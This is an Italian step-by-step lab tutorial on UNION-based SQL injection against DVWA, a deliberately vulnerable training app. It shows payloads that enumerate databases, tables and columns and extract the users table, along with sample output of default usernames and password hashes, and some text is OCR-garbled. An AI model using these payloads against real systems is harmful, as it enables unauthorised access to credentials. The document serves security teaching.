

Introduzione

In questa guida imparerai, passo per passo, come trovare informazioni riservate in un sito vulnerabile chiamato **DVWA**, usando un trucco chiamato **SQL Injection**. Non serve essere esperti, ti basta seguire i comandi scritti.

1 ☐ Accedi al sito DVWA

- Apri il browser.
- Scrivi:

http://localhost/dvwa

(o l'indirizzo IP del server).

• Login:

Username: admin Password: password



2□ Imposta il livello Medium

- Vai su DVWA Security a sinistra.
- Seleziona Medium.
- Clicca Submit.



3□ Vai su SQL Injection

Dal menu a sinistra clicca SQL Injection.

Ti troverai davanti una pagina con la scritta "User ID" e un campo dove inserire un numero.



4□ Verifica la vulnerabilità
Scrivi:
1
Clicca Submit.
Vulnerability: SQL Injection
User ID:
1 Submit
ID: 1 First name: admin Surname: admin
Suffiame, admiti
5□ Scopri quante colonne ha la tabella
Prova a scrivere:
1 ORDER BY 1
Poi:
1 ORDER BY 2
TONDER DT 2
Infine:
1 ORDER BY 3
Se con ORDERBY3 esce errore → significa che ci sono solo 2 colonne .
OC CONTONE TO COOK CHOICE OF SIGNIFICATION OF SOILS & CONTONE
6□ Testa una query semplice
Scrivi:
1 UNION SELECT NULL, NULL

Se funziona \rightarrow possiamo continuare.

Vulnerability: SQL Injection

```
User ID:

ON SELECT NULL, NULL --- Submit

ID: 1 UNION SELECT NULL, NULL -- -
First name: admin
Surname: admin

ID: 1 UNION SELECT NULL, NULL -- -
First name:
Surname:
```

7□ Guarda quali database ci sono

Scrivi:

1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -

Vedrai i nomi dei database.

Vulnerability: SQL Injection

```
User ID:
mation schema.schemata -- - Submit
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: admin
Surname: admin
{\tt ID: 1 UNION SELECT schema\_name, NULL FROM information\_schema.schemata -- - - First name: information\_schema}
Surname:
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
Surname:
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: metasploit
Surname:
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: mysql
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: owasp10
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: tikiwiki
ID: 1 UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
First name: tikiwiki195
```

8□ Guarda che tabelle ci sono nel database dvwa

Scrivi:

1 UNION SELECT table name, null FROM information schema.tables -- -

Ti mostrerà nomi di tabelle

```
Vulnerability: SQL Injection
  User ID:
  UNION SELECT table name Submit
  ID: 1 UNION SELECT table name, null FROM information schema.tables -- -
  Surname: admin
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: CHARACTER_SETS
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: COLLATIONS
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
First name: COLLATION_CHARACTER_SET_APPLICABILITY
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: COLUMNS
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: COLUMN_PRIVILEGES
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: KEY_COLUMN_USAGE
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  Surname:
  ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -
  First name: ROUTINES
  Surname:
```

ID: 1 UNION SELECT table_name, null FROM information_schema.tables -- -

9□ Scopri le colonne della tabella users

Scrivi:

First name: SCHEMATA

Surname:

1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table name='users' -- -

Vedrai colonne come user e password.

☐ Œstrai username e password

Scrivi:

1 UNION SELECT user, password FROM users -- -

Ora vedrai username e password hashate!

Vulnerability: SQL Injection

```
User ID:

er, password FROM users -- Submit

ID: 1 UNION SELECT user, password FROM users -- First name: admin

Surname: admin

ID: 1 UNION SELECT user, password FROM users -- First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 UNION SELECT user, password FROM users -- First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: 1 UNION SELECT user, password FROM users -- First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 UNION SELECT user, password FROM users -- First name: pablo

Surname: 0d107d09f5bbe40cade3de5c7le9e9b7

ID: 1 UNION SELECT user, password FROM users -- First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Differenza tra Low e Medium

Livello Differenza

Low Funziona qualsiasi comando, anche scritto male.

Medium Devi scrivere i comandi perfetti, rispettando la sintassi e il numero di colonne.

Conclusione

Con comandi semplici, abbiamo letto dati riservati anche se il sito usa protezioni base (Medium).